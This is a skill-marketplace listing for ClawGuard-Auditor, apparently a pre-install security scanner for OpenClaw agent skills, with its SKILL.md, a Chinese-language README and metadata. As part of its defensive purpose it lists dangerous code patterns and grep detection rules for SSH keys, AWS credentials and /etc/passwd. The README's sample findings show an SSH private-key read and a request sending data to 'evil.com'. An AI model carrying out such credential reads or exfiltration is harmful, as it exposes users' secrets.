Xpersona
C

ClawGuard-Auditor

CLAWHUB · Unverified

ClawGuard v3 Auditor - 企业级 Skill 安全审计器,支持意图偏离检测、SAST、供应链安全、ML 异常检测。当用户要求审计、检测、安装前检查一个 Skill 的安全性时触发。 Skill: ClawGuard-Auditor Owner: stardreaming Summary: ClawGuard v3 Auditor - 企业级 Skill 安全审计器,支持意图偏离检测、SAST、供应链安全、ML 异常检测。当用户要求审计、检测、安装前检查一个 Skill 的安全性时触发。 Tags: latest:3.0.0 Version history: v3.0.0 | 2026-04-04T09:08:26.892Z | user Initial release of ClawGuard Auditor skill. - Implements a CLI entry point and core modules for auditing (cli.js, auditor, intent-drift-detector, sast-analyzer, supply-chain-analyzer). - P

62
Rank
84
Safety
959
Downloads

About

What it does, and when to use it.

Capability contract not published. No trust telemetry is available yet. 959 downloads reported by the source. Last updated 10/12/2026.

Avoid when

  • Contract metadata is missing or unavailable for deterministic execution.

Risk flags: missing_or_unavailable_contract, trust_data_unavailable, schema_references_missing

Install and run

Setup complexity: low.

clawhub skill install s17861a46gwzndpth03w6nvv4d845chj:clawguard-auditor
  1. Node.js workspace detected. Install dependencies securely: run `npm ci --ignore-scripts` to prevent post-install lifecycle triggers from running arbitrary code, then selectively audit the dependency tree.
  2. Setup complexity is LOW. This package is likely designed for quick installation with minimal external side-effects.
  3. Final validation: Expose the agent to a mock request payload inside a sandbox and trace the network egress before allowing access to real customer data.

Contract: missing

curl -s "https://www.xpersona.co/api/v1/agents/clawhub-stardreaming-clawguard-auditor/snapshot"

Run-check

$0.02 USD

1 measured facts are behind this paywall: success rate and latency, uptime and estimated cost, when not to use it, how to call it, benchmark scores.

Agents pay $0.02 in USDC. A card payment is $0.50, the smallest a card allows.

Documentation

CLAWHUB

40,858 characters of source documentation, loaded on request.

Extracted files

5 files captured from the source.

SKILL.md

---
name: clawguard-auditor
description: ClawGuard v3 Auditor - 企业级 Skill 安全审计器,支持意图偏离检测、SAST、供应链安全、ML 异常检测。当用户要求审计、检测、安装前检查一个 Skill 的安全性时触发。
metadata:
  category: security
---

# 🛡️ ClawGuard Auditor (CG-A) v3

Enterprise-grade Security Kernel for OpenClaw Skills. ClawGuard Auditor provides comprehensive pre-flight static and semantic analysis, supply chain security verification, and AI-powered anomaly detection.

## When to Use

Activate ClawGuard Auditor when:
- A user asks to install or load a new Skill
- A user asks to audit an existing Skill or repository
- A new external code source is being added to the environment

## How to Execute

Follow these steps when auditing a Skill:

### Step 1: Read the Target Skill
- Find and read the `SKILL.md` file in the target directory
- Read all code files (.js, .py, .sh, etc.)
- **Also scan code blocks inside SKILL.md** (v3 新增)

### Step 2: Check Metadata
- Verify the SKILL.md has valid frontmatter (name, version, description)
- Check if the `metadata.risk` field is "safe"
- Check for suspicious binaries in `metadata.requires`

### Step 3: Scan for Dangerous Patterns

#### Critical Patterns (Immediate Reject)

| Pattern | Description | Example |
|---------|-------------|---------|
| `eval()` | Dynamic code execution | `eval(userInput)` |
| `exec()` | Command execution | `exec(cmd)` |
| `__import__()` | Dynamic imports | `__import__('os')` |
| `compile()` | Dynamic compilation | `compile(src, '', 'exec')` |
| `child_process.execSync` | Sync command execution | `execSync(cmd, {shell: true})` |
| `subprocess.Popen` | Process spawning | `Popen(shell=True)` |
| `os.system()` | Shell execution | `os.system(cmd)` |

#### High Risk Patterns (Block + Review)

| Pattern | Description | Example |
|---------|-------------|---------|
| `fetch()` to dynamic URL | Dynamic network requests | `fetch(url + userInput)` |
| `XMLHttpRequest` | Browser network | `new XMLHttpRequest()` |
| `WebSocket` | Real-time comms | `new WebSocket(url)` |
| `process.env` | Env access | `process.env[KEY]` |
| `os.environ` | Env access | `os.environ.get(KEY)` |

### Step 4: Check Intent Match (v3 核心功能)

**Compare what the Skill claims to do (description) vs what the code actually does**

If a "Weather Tool" reads SSH keys, that's an **INTENT MISMATCH**!

#### Intent Mismatch Detection Process

1. **Extract stated purpose** from SKILL.md description
2. **Analyze actual behavior** from code
3. **Compute intent score** using semantic similarity
4. **Flag mismatches** if score < threshold

#### Example Mismatches

| Skill Description | Actual Behavior | Intent Score | Action |
|------------------|-----------------|--------------|--------|
| "Weather Formatter" | Reads `~/.ssh/id_rsa` | 0.2 | REJECT |
| "File Organizer" | Spawns background process | 0.4 | REJECT |
| "Markdown Helper" | Makes HTTP POST to unknown domain | 0.3 | REJECT |
| "Calculator" | Writes to `/etc/cron` | 0.1 | REJECT |

### Step 5: Check Dependencies
- Look at package.jso

README.md

# 🛡️ ClawGuard Auditor

Skill 安装前安全审计器,支持意图偏离检测。

## 通过 Agent 使用(推荐)

### 触发方式

当用户说以下内容时,Agent 会自动读取本 SKILL.md 并执行审计:

```
"审计这个 skill"
"检查这个 skill 安全吗"
"扫描这个 skill"
"安装前检查"
"帮我看一下这个 skill 能不能装"
```

### 示例对话

```
用户: 帮我审计一下 /workspace/skills/weather-tool

Agent: 正在审计 /workspace/skills/weather-tool...
      (读取 SKILL.md,按指南执行检测)
      ↓
📋 发现的问题:
   1. 🔴 读取 SSH 私钥
      位置: SKILL.md 代码块
      代码: fs.readFileSync('/.ssh/id_rsa')
   2. 🔴 发送数据到恶意域名
      代码: http.request({ hostname: 'evil.com' })

结论: 🔴 高危,不建议安装
```

---

## 通过命令行使用

### 基本用法

```bash
# 进入目录
cd auditor-skill && node cli.js

# 审计指定 Skill
node cli.js /path/to/skill

# 深度审计(启用 ML 检测)
node cli.js /path/to/skill --deep

# 输出 JSON 报告
node cli.js /path/to/skill --output report.json

# 指定输出格式
node cli.js /path/to/skill --format json
node cli.js /path/to/skill --format markdown
```

### 输出报告示例

```
🦞 ClawGuard v3 Auditor - 审计中...

  📋 执行静态代码分析...
  🔍 执行意图偏离检测...
  🔗 检查供应链风险...

╔═══════════════════════════════════════════════════════════╗
║                    📊 审计摘要                            ║
╠═══════════════════════════════════════════════════════════╣
║  Skill: my-skill                                    ║
║  风险评分: 25/100                                   ║
║  风险等级: 🟢 低风险                                 ║
║  意图偏离: 0.0%                                      ║
║  发现问题: 2 项                                      ║
╚═══════════════════════════════════════════════════════════╝

📋 建议:
  1. [HIGH] 发现严重安全问题,建议修复后再安装
```

---

## 退出码

| 退出码 | 含义 |
|--------|------|
| 0 | 🟢 安全 (TIER_0, TIER_1) |
| 1 | 🟡 需审核 (TIER_2) |
| 2 | 🔴 高危 (TIER_3) |
| 3 | 🔴 严重 (TIER_4) |

---

## 快速检测命令

如果只想快速扫描关键风险点:

```bash
# 检查敏感文件访问
grep -r "\.ssh\|\.aws\|/etc/passwd" /path/to/skill

# 检查网络请求
grep -r "http\.\|fetch\|axios" /path/to/skill

# 检查命令执行
grep -r "exec\|spawn\|child_process" /path/to/skill

# 检查 SKILL.md 代码块
grep -A50 '```javascript' /path/to/skill/SKILL.md | grep -E "exec|eval|readFile|http\."
```

---

## 相关模块

- **Shield** - 提示词注入检测
- **Guardian** - 运行时守护
- **Detect** - 威胁检测

---

*版本: v3.0.0*

_meta.json

{
  "ownerId": "kn7fq6h0mc0nqbkzq8c79k1wjx834cz0",
  "slug": "clawguard-auditor",
  "version": "3.0.0",
  "publishedAt": 1775293706892
}

skill-card.md

## Description:

ClawGuard-Auditor helps agents review OpenClaw skills before installation by scanning local skill files for static code patterns, dependency signals, and declared-versus-observed behavior drift.

This skill is ready for commercial/non-commercial use.

## Publisher:

[stardreaming](https://clawhub.ai/user/stardreaming)

### License/Terms of Use:

MIT-0

## Use Case:

Developers and security reviewers use this skill to perform a lightweight pre-install review of OpenClaw skills and repositories. It produces findings and risk-tier recommendations that should support, not replace, manual security review.

### Deployment Geography for Use:

Global

## Known Risks and Mitigations:

Risk: The skill may overstate how much protection its heuristic checks provide.

Mitigation: Treat clean or approving results as advisory only, and require manual review or a stronger contained scanner before installing unfamiliar skills.

Risk: The CLI scans local target directories and reads skill files, code files, package metadata, and code blocks in SKILL.md.

Mitigation: Run it with the narrowest intended target path in a limited workspace, especially when reviewing untrusted or high-risk skills.

Risk: Auto-approval or low-risk language could create false confidence for large or complex targets.

Mitigation: Escalate large, unfamiliar, or security-sensitive targets to human review even when the reported tier is low.

## Reference(s):

- [ClawHub skill page](https://clawhub.ai/stardreaming/skills/clawguard-auditor)
- [README](artifact/README.md)

## Skill Output:

**Output Type(s):** [text, markdown, JSON, shell commands, guidance]

**Output Format:** [Terminal text summaries, optional JSON report files, and Markdown-style audit guidance]

**Output Parameters:** [1D]

**Other Properties Related to Output:** [Risk tiers TIER_0 through TIER_4 with process exit codes 0-3 when run through the CLI.]

## Skill Version(s):

3.0.0 (source: server release metadata and package.json)

## Ethical Considerations:

Users should evaluate whether this skill is appropriate for their environment, review any generated or modified files before relying on them, and apply their organization's safety, security, and compliance requirements before deployment.

package.json

{
  "name": "clawguard-auditor",
  "version": "3.0.0",
  "description": "ClawGuard v3 - Skill Security Auditor with Intent Drift Detection",
  "main": "src/auditor.js",
  "scripts": {
    "audit": "node cli.js",
    "audit:deep": "node cli.js --deep"
  },
  "keywords": ["clawguard", "security", "auditor", "openclaw"],
  "author": "ClawGuard Team",
  "license": "MIT",
  "dependencies": {}
}

Sponsored

Ads related to ClawGuard-Auditor and adjacent AI workflows.